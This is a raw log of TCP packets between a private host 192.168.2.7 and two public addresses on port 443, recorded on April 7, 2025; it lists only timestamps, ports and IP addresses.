Apr 7, 2025 18:10:12.023849964 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.023896933 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.023907900 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.028290033 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.028373003 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.028379917 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.032753944 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.032803059 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.032810926 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.036264896 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.037132025 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037199020 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.037200928 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037266016 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037282944 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.037290096 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.037303925 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037350893 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037691116 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037770033 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037781954 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037796974 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.037818909 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.048013926 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.048075914 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.048108101 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.062875986 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.062937975 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.062959909 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.070441008 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.070502043 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.070513964 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.077775955 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.077836990 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.077846050 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.084265947 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.084551096 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.084696054 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.084703922 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.086417913 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.086532116 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.086539030 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.089690924 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.089873075 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.089884043 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.090704918 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.091033936 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.091161966 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.091291904 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.091392994 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.091487885 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.091622114 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.091768026 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.091891050 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.093255997 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.093347073 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.093353033 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.095978975 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.096046925 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.096054077 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.097212076 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.097403049 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097417116 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.097486973 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097503901 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.097522020 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097527981 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.097543001 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097585917 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097589016 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.097614050 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.097655058 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097727060 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097759962 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097795010 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097856998 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097867966 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097886086 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097907066 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.097953081 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.098808050 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.098860025 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.098865986 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.101114988 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.101382971 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.101387978 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.102680922 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.102761030 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.102768898 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.104485989 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.104547024 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.104587078 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.104593992 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.104726076 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.106883049 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.109227896 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.109282017 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.109294891 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.111993074 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.112034082 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.112041950 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.112056017 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.112096071 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.112987995 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.113174915 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113189936 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.113220930 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113231897 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.113274097 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113293886 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.113316059 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113343954 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113365889 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.113384962 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113392115 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.113415003 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113464117 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113667965 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113728046 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.113913059 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.114046097 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.114092112 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.114320993 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.116512060 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.116547108 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.116565943 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.116585016 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.116635084 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.118685961 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.120673895 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.120709896 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.120733023 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.120753050 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.120807886 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.122819901 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.125019073 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.125056028 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.125102043 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.125118017 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.125288010 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.126869917 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.127047062 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.127106905 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.127317905 CEST	49796	443	192.168.2.7	142.251.40.193
Apr 7, 2025 18:10:12.127332926 CEST	443	49796	142.251.40.193	192.168.2.7
Apr 7, 2025 18:10:12.131392956 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.131448984 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.131557941 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.131575108 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.131750107 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.131762028 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.132085085 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.132172108 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.132215023 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.134603977 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.135128021 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.135416031 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.135447025 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.152245998 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.152324915 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.152482986 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.152582884 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.152630091 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.152657986 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.167951107 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.168055058 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.168087006 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.168211937 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.168235064 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.168277979 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.168292999 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.168308973 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.168318987 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.168694973 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.168848038 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.168889046 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.168936968 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.169039965 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.169117928 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.170162916 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.216269016 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.295037985 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.295195103 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.295217037 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.295249939 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.295336008 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.295365095 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.309231043 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.309335947 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.309355021 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.309396029 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.309425116 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.309467077 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.312163115 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.312180996 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.312843084 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.312908888 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.313019037 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.313162088 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.313235044 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.313292027 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.313347101 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.324115992 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.324181080 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.324338913 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.324362040 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.324393034 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.339953899 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.372344971 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372368097 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.372390985 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372404099 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372415066 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372426033 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372436047 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372452021 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372749090 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372761965 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372775078 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372812986 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372837067 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372869968 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372931004 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372944117 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.372975111 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.373132944 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.373142004 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.373155117 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.420265913 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.420352936 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.431484938 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.431638002 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.431652069 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.431660891 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.431762934 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.431799889 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.468261957 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.478122950 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.478259087 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.478285074 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.478313923 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.478455067 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.478491068 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.493757010 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.493925095 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.493942022 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.493977070 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.493977070 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.493993044 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.494008064 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.494024992 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.494045973 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.494056940 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.514245987 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.514262915 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.514400959 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.514463902 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.517162085 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.517190933 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.517200947 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.517349958 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.517581940 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.531100035 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.531141996 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.531306982 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.531358957 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.531379938 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.531433105 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.531533957 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.531575918 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.531589985 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.548908949 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.548926115 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.549094915 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.549153090 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.549168110 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.552017927 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.552098036 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.552144051 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.552179098 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.552201033 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.552237988 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.552309036 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.552350044 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.553822041 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.596261024 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.599754095 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.599788904 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.599834919 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.599834919 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.599845886 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.599864006 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.599956036 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.599956036 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.600657940 CEST	49795	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.600672007 CEST	443	49795	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.603589058 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.603610992 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.603682041 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.604089022 CEST	49811	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.604096889 CEST	443	49811	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.662080050 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.662205935 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.662264109 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.662377119 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.662395000 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.678980112 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.679085016 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.679089069 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.679110050 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.679167032 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.679193974 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.684128046 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.684139013 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.684307098 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.684417963 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.684462070 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.684498072 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.684524059 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.684551954 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.684565067 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695427895 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.695514917 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.695688963 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695704937 CEST	443	49783	49.13.158.58	192.168.2.7
Apr 7, 2025 18:10:12.695715904 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695734024 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695744991 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695816040 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695816040 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695847034 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695882082 CEST	49783	443	192.168.2.7	49.13.158.58
Apr 7, 2025 18:10:12.695909023 CEST	49783	443	192.168.2.7	49.13.158.58
